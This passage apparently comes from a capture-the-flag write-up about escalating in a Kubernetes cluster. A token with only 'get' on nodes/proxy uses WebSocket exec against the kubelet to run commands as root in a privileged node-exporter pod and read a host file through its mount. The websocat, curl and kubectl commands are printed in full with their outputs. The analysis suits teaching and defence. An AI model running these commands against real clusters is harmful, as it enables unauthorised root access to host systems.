Looking at the full raw JSON response exposes details the filtered jq query above omits. The pod-level securityContext sets runAsNonRoot: true and runAsUser: 65534 — which at first glance looks like a security control. But the container-level securityContext overrides it with runAsUser: 0, runAsNonRoot: false, allowPrivilegeEscalation: true. In Kubernetes, container-level security context always wins over the pod-level one. The pod-level setting is effectively neutralised by the container spec.
The hostNetwork: true and hostPID: true flags extend the exposure further. hostNetwork: true means the container shares the host's network stack — it binds directly on the node's IP, not on a virtual pod network. hostPID: true means the container can see every process running on the host through /proc. Combined with the host filesystem mount, the container has read visibility into the host's disk, network, and process table simultaneously.
One detail worth noting: automountServiceAccountToken: false is set on this pod. The node-exporter has no ServiceAccount token mounted — it does not need to make Kubernetes API calls to do its job. This is actually correct hardening for this specific pod, but it is irrelevant for exploitation because the token being used belongs to mcp-sa, which was recovered from the mcp-server pod, not from node-exporter.
The containerStatus in the raw JSON also confirms the actual runtime user: uid=0, gid=65534, supplementalGroups=[10, 65534]. This matches exactly what the exec output returns — uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody). The JSON and the exec result agree. Any command execution inside this container runs as UID 0 with access to the host filesystem mounted at /host/root.
For contrast, the raw JSON shows how the other pods on the same node are configured. The kube-state-metrics pod drops all Linux capabilities (capabilities: drop: ALL), sets readOnlyRootFilesystem: true, allowPrivilegeEscalation: false, runs as UID 65534, and adds a seccompProfile: RuntimeDefault — the most locked-down posture in the cluster. The metrics-server pod similarly sets runAsNonRoot: true, readOnlyRootFilesystem: true, and allowPrivilegeEscalation: false. The mcp-server pod uses imagePullPolicy: Never, meaning its image is loaded locally from the node and never pulled from an external registry — a detail that explains why the image tag is mcp-server:latest with no registry prefix. The local-path-provisioner pod, notably, runs as UID 0 with no explicit security context, though it has no host mounts so the risk is lower. The contrast across the cluster is clear: most pods follow least-privilege principles, but node-exporter is deliberately privileged for its monitoring role, and that privileged posture is what makes it the target.
Stream container logs:
curl -sk -H "Authorization: Bearer $TOKEN" \
"https://127.0.0.1:10250/containerLogs/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter"curl -sk -H "Authorization: Bearer $TOKEN" \
"https://127.0.0.1:10250/containerLogs/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter"Node stats (requires nodes/stats permission — denied for most restricted ServiceAccounts):
curl -sk -H "Authorization: Bearer $TOKEN" \
https://127.0.0.1:10250/stats/summarycurl -sk -H "Authorization: Bearer $TOKEN" \
https://127.0.0.1:10250/stats/summaryOutput when denied:
Forbidden (user=system:serviceaccount:default:mcp-sa, verb=get, resource=nodes, subresource(s)=[stats])Forbidden (user=system:serviceaccount:default:mcp-sa, verb=get, resource=nodes, subresource(s)=[stats])12. nodes/proxy — The API Server Proxy Path
Every Node object in Kubernetes has a special subresource called proxy. It exists so that the API server can act as a relay to the kubelet running on that node — without callers needing direct network access to the node.
In many clusters, nodes are on a private network unreachable from where kubectl runs. Instead of connecting to a node directly, tools connect to the API server (which they already trust and can reach) and ask it to forward the request to the node's kubelet on their behalf.
The URL structure for this proxy path is:
/api/v1/nodes/{NODE-NAME}/proxy/{PATH}/api/v1/nodes/{NODE-NAME}/proxy/{PATH}Everything after /proxy/ is passed straight through to the kubelet unchanged. Hitting /api/v1/nodes/fireflow/proxy/pods through the API server is functionally identical to hitting https://127.0.0.1:10250/pods directly — the API server is just relaying the byte stream from the kubelet back to the caller.
The node name fireflow comes from the Pod spec (.spec.nodeName on every Pod's JSON) and from the JWT payload (kubernetes.io.node.name). In a single-node cluster there is only one possible value, but in a multi-node cluster you would need to identify the specific node whose kubelet you want to reach.
List pods via the API server proxy:
curl -sk -H "Authorization: Bearer $TOKEN" \
"https://127.0.0.1:6443/api/v1/nodes/fireflow/proxy/pods" | \
jq '.items[].metadata.name'curl -sk -H "Authorization: Bearer $TOKEN" \
"https://127.0.0.1:6443/api/v1/nodes/fireflow/proxy/pods" | \
jq '.items[].metadata.name'Output:
"local-path-provisioner-8686667995-lp9th"
"prometheus-kube-state-metrics-7c8c787854-25j6q"
"prometheus-server-867bb4fcfd-m4t59"
"mcp-server-54464cb475-29ztf"
"prometheus-prometheus-node-exporter-nmntq"
"metrics-server-c8774f4f4-phw6q"
"coredns-76c974cb66-cn7l6""local-path-provisioner-8686667995-lp9th"
"prometheus-kube-state-metrics-7c8c787854-25j6q"
"prometheus-server-867bb4fcfd-m4t59"
"mcp-server-54464cb475-29ztf"
"prometheus-prometheus-node-exporter-nmntq"
"metrics-server-c8774f4f4-phw6q"
"coredns-76c974cb66-cn7l6"The same result as hitting the kubelet directly at port 10250.
Or with kubectl:
kubectl get --raw "/api/v1/nodes/fireflow/proxy/pods"kubectl get --raw "/api/v1/nodes/fireflow/proxy/pods"Why nodes/proxy is dangerous as a permission
RBAC treats nodes/proxy as one single resource with normal verbs — get, create, and so on. It does not understand or restrict what path gets proxied through. Granting get on nodes/proxy sounds like "let this account read some node information," but it actually means "let this account send any GET-shaped request to the kubelet's entire HTTP API" — pods list, stats, logs, and exec operations when the right transport is used.
13. The WebSocket Exec Verb-Mapping Gap
The kubelet exposes /exec/{namespace}/{pod}/{container} as a streaming endpoint. Running a command inside a container through this endpoint requires a persistent, bidirectional connection — a single HTTP request/response pair cannot carry that. The kubelet supports two transport mechanisms for this:
Standard SPDY streaming exec is what kubectl exec and curl -X POST use. It starts with a POST request. The kubelet's authorization webhook maps POST to the create RBAC verb.
WebSocket exec uses an HTTP GET request with Connection: Upgrade and Upgrade: websocket headers, which upgrades the connection to a WebSocket session. The kubelet's authorization webhook maps this GET to the get RBAC verb.
Both transports achieve the same end result — full interactive command execution inside the container. But because they use different HTTP methods, the authorization webhook classifies them under different RBAC verbs. This is the gap.
The exec operation runs commands as whatever user the container's process runs as, in whatever environment that container already has access to. If a container runs as root and has the entire host filesystem bind-mounted inside it, an exec into that container gives root-level read access to the whole host disk — not because the host was broken into directly, but because the container already had that access and exec lets you drive it.
Consider mcp-sa whose complete RBAC grant is get on nodes/proxy plus create on the self-review APIs. The only verb on nodes/proxy is get — not create. The intended purpose is probably read-only diagnostic access: query kubelet metrics or pod lists through the API server proxy.
A WebSocket exec request sent directly to the kubelet on port 10250 is evaluated as verb get on nodes/proxy. Since mcp-sa has get on nodes/proxy, the kubelet's webhook approves it — even though the logical operation is an exec, which should require create and is correctly denied when attempted via POST.
WebSocket exec is a kubelet-only operation. It must be sent directly to port 10250. The API server does not support WebSocket exec upgrades through the nodes/proxy path — when attempted, it returns 400 Bad Request, not an RBAC denial. The API server's proxy handler rejects the WebSocket upgrade before it gets to authorization. The verb-mapping gap exists only in the kubelet's own authorization webhook. Attempting WebSocket exec via the API server at port 6443 fails with:
14. Allowed vs. Denied — Full Command Reference with Reasoning
This section documents every command attempted with the mcp-sa token — what succeeded, what failed, and exactly why.
What works
List pods directly via the kubelet:
curl -sk -H "Authorization: Bearer $TOKEN" \
https://127.0.0.1:10250/pods | jq '.items[].metadata.name'curl -sk -H "Authorization: Bearer $TOKEN" \
https://127.0.0.1:10250/pods | jq '.items[].metadata.name'This works because querying /pods is a GET request, the kubelet maps GET to the get verb, and mcp-sa has get on nodes/proxy. The kubelet's webhook approves it.
List pods via the API server proxy:
curl -sk -H "Authorization: Bearer $TOKEN" \
"https://127.0.0.1:6443/api/v1/nodes/fireflow/proxy/pods" | \
jq '.items[].metadata.name'curl -sk -H "Authorization: Bearer $TOKEN" \
"https://127.0.0.1:6443/api/v1/nodes/fireflow/proxy/pods" | \
jq '.items[].metadata.name'This works for the same reason — it is a GET request, the proxy subresource is allowed under get, and the API server forwards it to the kubelet which returns the pod list.
RBAC self-review via the API server:
curl -sk -X POST https://127.0.0.1:6443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"apiVersion": "authorization.k8s.io/v1",
"kind": "SelfSubjectRulesReview",
"spec": { "namespace": "default" }
}' | jq '.status.resourceRules'curl -sk -X POST https://127.0.0.1:6443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"apiVersion": "authorization.k8s.io/v1",
"kind": "SelfSubjectRulesReview",
"spec": { "namespace": "default" }
}' | jq '.status.resourceRules'This works because create on selfsubjectrulesreviews is explicitly granted to mcp-sa. It is a POST, which maps to create, and the resource is in the allowed list.
WebSocket exec directly against the kubelet on port 10250:
First verify execution context with a benign command:
echo "id" | websocat -n -k \
"wss://127.0.0.1:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?command=id&output=1&error=1" \
-H "Authorization: Bearer $TOKEN"echo "id" | websocat -n -k \
"wss://127.0.0.1:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?command=id&output=1&error=1" \
-H "Authorization: Bearer $TOKEN"Output:
uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)This works because a WebSocket upgrade is a GET request at the HTTP layer. The kubelet maps GET to the get verb. mcp-sa has get on nodes/proxy. The webhook approves it — even though the logical operation is an exec, which should require create.
Then read the root flag through the host filesystem mount:
echo "cat /host/root/root/root.txt" | websocat -n -k \
"wss://127.0.0.1:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?command=cat&command=/host/root/root/root.txt&output=1&error=1" \
-H "Authorization: Bearer $TOKEN"echo "cat /host/root/root/root.txt" | websocat -n -k \
"wss://127.0.0.1:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?command=cat&command=/host/root/root/root.txt&output=1&error=1" \
-H "Authorization: Bearer $TOKEN"The node-exporter container has / (the host root) mounted at /host/root. Running cat /host/root/root/root.txt inside the container reads /root/root.txt on the actual host filesystem as root.
What fails
Standard kubectl exec (uses SPDY/POST internally):
kubectl exec -n monitoring prometheus-prometheus-node-exporter-nmntq \
-c node-exporter -- idkubectl exec -n monitoring prometheus-prometheus-node-exporter-nmntq \
-c node-exporter -- idOutput:
Error from server (Forbidden): pods "prometheus-prometheus-node-exporter-nmntq" is forbidden:
User "system:serviceaccount:default:mcp-sa" cannot create resource "pods/exec"
in API group "" in the namespace "monitoring"Error from server (Forbidden): pods "prometheus-prometheus-node-exporter-nmntq" is forbidden:
User "system:serviceaccount:default:mcp-sa" cannot create resource "pods/exec"
in API group "" in the namespace "monitoring"kubectl exec uses a POST-based SPDY stream. POST maps to create. mcp-sa has no create on pods/exec. Denied.
Direct POST exec to the kubelet:
curl -sk -X POST -H "Authorization: Bearer $TOKEN" \
"https://127.0.0.1:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?command=id&input=1&output=1&tty=1"curl -sk -X POST -H "Authorization: Bearer $TOKEN" \
"https://127.0.0.1:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?command=id&input=1&output=1&tty=1"Output:
Forbidden (user=system:serviceaccount:default:mcp-sa, verb=create, resource=nodes, subresource(s)=[proxy])Forbidden (user=system:serviceaccount:default:mcp-sa, verb=create, resource=nodes, subresource(s)=[proxy])POST maps to create. mcp-sa does not have create on nodes/proxy. Denied by the kubelet's webhook.
POST exec through the API server proxy:
curl -sk -X POST -H "Authorization: Bearer $TOKEN" \
"https://127.0.0.1:6443/api/v1/nodes/fireflow/proxy/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?command=id&input=1&output=1&tty=1"curl -sk -X POST -H "Authorization: Bearer $TOKEN" \
"https://127.0.0.1:6443/api/v1/nodes/fireflow/proxy/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?command=id&input=1&output=1&tty=1"Output: Forbidden. The API server applies its own RBAC check before forwarding — POST maps to create — denied.
Attempting WebSocket exec via the API server proxy at port 6443 (always fails):
WebSocket exec cannot be routed through the API server. The API server's proxy handler rejects the WebSocket upgrade entirely, returning 400 Bad Request — it does not reach an RBAC check. The verb-mapping gap only exists in the kubelet's own authorization webhook. The working command always targets the kubelet directly at port 10250:
websocat -n -k \
"wss://127.0.0.1:6443/api/v1/nodes/fireflow/proxy/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?command=id&output=1&error=1" \
-H "Authorization: Bearer $TOKEN"
websocat: WebSocketError: WebSocketError: Received unexpected status code (400 Bad Request)
websocat: error runningwebsocat -n -k \
"wss://127.0.0.1:6443/api/v1/nodes/fireflow/proxy/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?command=id&output=1&error=1" \
-H "Authorization: Bearer $TOKEN"
websocat: WebSocketError: WebSocketError: Received unexpected status code (400 Bad Request)
websocat: error runningReading cluster-level resources:
kubectl get nodes
# Error from server (Forbidden): nodes is forbidden:
# User "system:serviceaccount:default:mcp-sa" cannot list resource "nodes"
kubectl get namespaces
# Error from server (Forbidden): namespaces is forbidden: ...
kubectl get pods -A
# Error from server (Forbidden): pods is forbidden: ...
kubectl get services -A
# Error from server (Forbidden): services is forbidden: ...kubectl get nodes
# Error from server (Forbidden): nodes is forbidden:
# User "system:serviceaccount:default:mcp-sa" cannot list resource "nodes"
kubectl get namespaces
# Error from server (Forbidden): namespaces is forbidden: ...
kubectl get pods -A
# Error from server (Forbidden): pods is forbidden: ...
kubectl get services -A
# Error from server (Forbidden): services is forbidden: ...None of these are granted in mcp-sa's RBAC rules. Two different components evaluate the same logical exec action differently. The API server's proxy handler treats initiating any exec stream as a create action, regardless of transport. The kubelet's own authorization webhook maps the HTTP method of the request directly: POST becomes create, and GET (including a WebSocket upgrade) becomes get. Because mcp-sa holds get on nodes/proxy — a grant almost certainly intended only for read-only diagnostics — the WebSocket transport inadvertently satisfies the authorization check for an operation that should require create. The security boundary the RBAC rule was designed to enforce does not hold across all code paths that resolve to the same permission check. This is a verb-based authorization bypass: same logical operation, different HTTP transport, different RBAC outcome.
The right approach when you have a ServiceAccount token is to enumerate before you act. Use SelfSubjectAccessReview to check one specific permission, and SelfSubjectRulesReview to map everything the identity can do. This avoids noisy trial-and-error and makes the permission boundary clear before any exploit attempt. The pods/exec check returns false — that is the intended wall. nodes/proxy with get is a different code path, and it is what makes the WebSocket transport bypass possible. The bypass was found by understanding the permission model and the protocol, then testing systematically rather than scanning.